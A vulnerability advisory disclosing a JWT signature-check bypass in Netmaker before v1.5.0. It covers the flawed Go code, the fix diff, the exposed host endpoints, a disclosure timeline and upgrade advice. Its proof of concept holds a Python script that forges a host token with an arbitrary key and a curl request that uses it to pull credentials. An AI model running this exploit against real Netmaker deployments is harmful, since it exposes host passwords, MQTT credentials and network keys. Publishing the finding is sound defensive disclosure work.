JWT Verification Bypass in Netmaker Allows Unauthenticated Access to Host Endpoints
Author and Researcher

Ravindu Wickramasinghe
@rvz
Summary
Netmaker by Gravitl is an open-source WireGuard-based networking platform for creating and managing virtual overlay networks. The VerifyHostToken function in logic/jwts.go does not validate the JWT signature when verifying host tokens. After calling jwt.ParseWithClaims, the function only checks whether the returned token object is non-nil. It does not check token.Valid or the returned error. An attacker can forge a JWT signed with any key, set the claims to any host ID, and pull that host's full configuration including bcrypt-hashed passwords, MQTT credentials, and WireGuard peer data. Affected versions are Netmaker < 1.5.0. The issue was patched in v1.5.0 (commit 5309aa70). Severity is Critical (CVSS 4.0: 9.2).
Severity: Critical / 9.2
CVSS 4.0 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N
Details
The vulnerable function is at logic/jwts.go lines 251-268. The golang-jwt/jwt/v4 library returns a non-nil *Token for any structurally valid JWT, even when the signature is wrong or the token is expired. The Valid field is set to false and an error is returned alongside it. The code ignores both:
// VerifyHostToken - [hosts] Onlyfunc VerifyHostToken(tokenString string) (hostID string, mac string, network string, err error) { claims := &models.Claims{} // this may be a stupid way of serving up a master key // TODO: look into a different method. Encryption? if tokenString == servercfg.GetMasterKey() && servercfg.GetMasterKey() != "" { return "mastermac", "", "", nil } token, err := jwt.ParseWithClaims(tokenString, claims, func(token *jwt.Token) (interface{}, error) { return jwtSecretKey, nil }) if token != nil { // BUG: only checks non-nil, does NOT check token.Valid return claims.ID, claims.MacAddress, claims.Network, nil } return "", "", "", err}Other token verification functions in the same file do this correctly. VerifyUserToken at line 234 and GetUserNameFromToken at line 189 both check if token != nil && token.Valid:
// VerifyUserToken func will used to Verify the JWT Token while using APISfunc VerifyUserToken(tokenString string) (username string, issuperadmin, isadmin bool, err error) { claims := &models.UserClaims{} // ... token, err := jwt.ParseWithClaims(tokenString, claims, func(token *jwt.Token) (interface{}, error) { return jwtSecretKey, nil }) // ... if token != nil && token.Valid { // CORRECT: checks both non-nil AND Valid // ... } return "", false, false, err}The Authorize middleware in controllers/node.go calls VerifyHostToken when the route allows host authentication. Since the vulnerable function returns nil as the error for any structurally valid JWT, the err == nil check passes and the request goes through:
// controllers/node.go - Authorize middleware (lines 180-188)// check if host instead of userif hostAllowed { // TODO --- should ensure that node is only operating on itself if hostID, _, _, err := logic.VerifyHostToken(authToken); err == nil { r.Header.Set(hostIDHeader, hostID) // this indicates request is from a node // used for failover - if a getNode comes from node, this will trigger a metrics wipe next.ServeHTTP(w, r) return }}Affected endpoints (all registered with Authorize(hostAllowed=true, ...) in controllers/hosts.go):
GET /api/v1/host- Pull full host configuration, server config, and peer dataGET /api/v1/host/{hostid}/peer_info- Retrieve peer network informationPUT /api/v1/fallback/host/{hostid}- Modify host fallback settingsPOST /api/v1/host/{hostid}/signalpeer- Signal peers in the networkGET /api/nodes/{network}/{nodeid}- Retrieve node configuration
The GET /api/v1/host endpoint returns the full HostPull response which includes the host object with hostpass (bcrypt hash), the server config with MQUserName, MQPassword, and TrafficKey (used for MQTT encryption), as well as the full WireGuard peer configurations with internal IPs, allowed ranges, and endpoints.
The vulnerability was fixed in commit 5309aa70 (February 24, 2026) by adding the token.Valid check:
// Commit 5309aa70 - "NM-258: fix host authrize func, check for token validity"- if token != nil {+ if token != nil && token.Valid { return claims.ID, claims.MacAddress, claims.Network, nil }A follow-up commit c344f54c (March 3, 2026) added claim validation to reject tokens missing the node| subject prefix or an empty host ID. The Authorize middleware was also rewritten in v1.5.0 to check that the authenticated host ID matches the host ID in the URL path.
Note: GHSA-hmqr-wjmj-376c ("Insufficient Authorization in Host Token Verification", credited to Artem Danilov of Positive Technologies) exists for the same code area but covers a different bug — missing resource ownership checks, which requires a valid host token. This finding requires no valid credentials at all. Both were fixed under the same internal ticket (NM-258) and shipped in v1.5.0.
Proof of Concept
Steps to Reproduce
- Deploy Netmaker v1.4.0 and register a host to obtain a valid host ID
- Create a JWT with the same claims structure (
ID,MacAddress,Network) but signed with any arbitrary secret key - Send a request to
GET /api/v1/hostwith the forged token in the Authorization header - The request returns HTTP 200 with the full host configuration including
hostpass, MQTT credentials, andTrafficKey, despite the token being signed with a different key than the server's secret
Forge a JWT with an Arbitrary Key
import jwt, timeVICTIM_HOST_ID = "target-host-uuid-here"forged_token = jwt.encode({ "ID": VICTIM_HOST_ID, "MacAddress": "de:ad:be:ef:00:01", "Network": "", "sub": f"node|{VICTIM_HOST_ID}", "iss": "Netmaker", "exp": int(time.time()) + 3600, "iat": int(time.time())}, "ATTACKER_CONTROLLED_KEY", algorithm="HS256")print(forged_token)Request with Forged Token
curl -s http://TARGET:8081/api/v1/host \ -H "Authorization: Bearer <forged_token>"Results
Tested against clean instances of both versions. The forged JWT was signed with ATTACKER_CONTROLLED_KEY_12345678, unrelated to the server's JWT secret:
# v1.4.0 (VULNERABLE)Forged JWT (wrong key) -> HTTP 200 # returns hostpass, MQTT creds, TrafficKeyExpired + wrong key -> HTTP 200 # expired tokens also acceptedGarbage token -> HTTP 401 # non-JWT strings rejected by parserNo Authorization header -> HTTP 403 # correctly rejected# v1.5.0 (PATCHED)Forged JWT (wrong key) -> HTTP 401Expired + wrong key -> HTTP 401Garbage token -> HTTP 401No Authorization header -> HTTP 401Valid admin token -> HTTP 200 # legitimate tokens still workProof of Concept (Video)
Recommendations
Upgrade to Netmaker v1.5.0 or later. After upgrading, rotate all MQTT credentials, host passwords, and the server's TrafficKey to invalidate any credentials that may have been obtained through exploitation. Audit access logs for unusual GET /api/v1/host requests from unexpected sources.
Disclosure Timeline
| Date | Event |
|---|---|
| January 22, 2026 | Vulnerability report sent to Netmaker via email. |
| January 28, 2026 | Follow-up email. No response. |
| February 24, 2026 | Netmaker silently patches the vulnerability in commit 5309aa70. No acknowledgment sent. |
| March 1, 2026 | Follow-up email. No response. |
| March 3, 2026 | Additional claim validation added in commit c344f54c. |
| ~March 10, 2026 | GHSA-hmqr-wjmj-376c published for a separate authorization issue in the same code area, credited to Artem Danilov (Positive Technologies). |
| March 13, 2026 | Netmaker v1.5.0 released with both fixes. |
| March 16, 2026 | Follow-up email. No response. |
| March 24, 2026 | Public disclosure. Vulnerability confirmed patched in v1.5.0. |
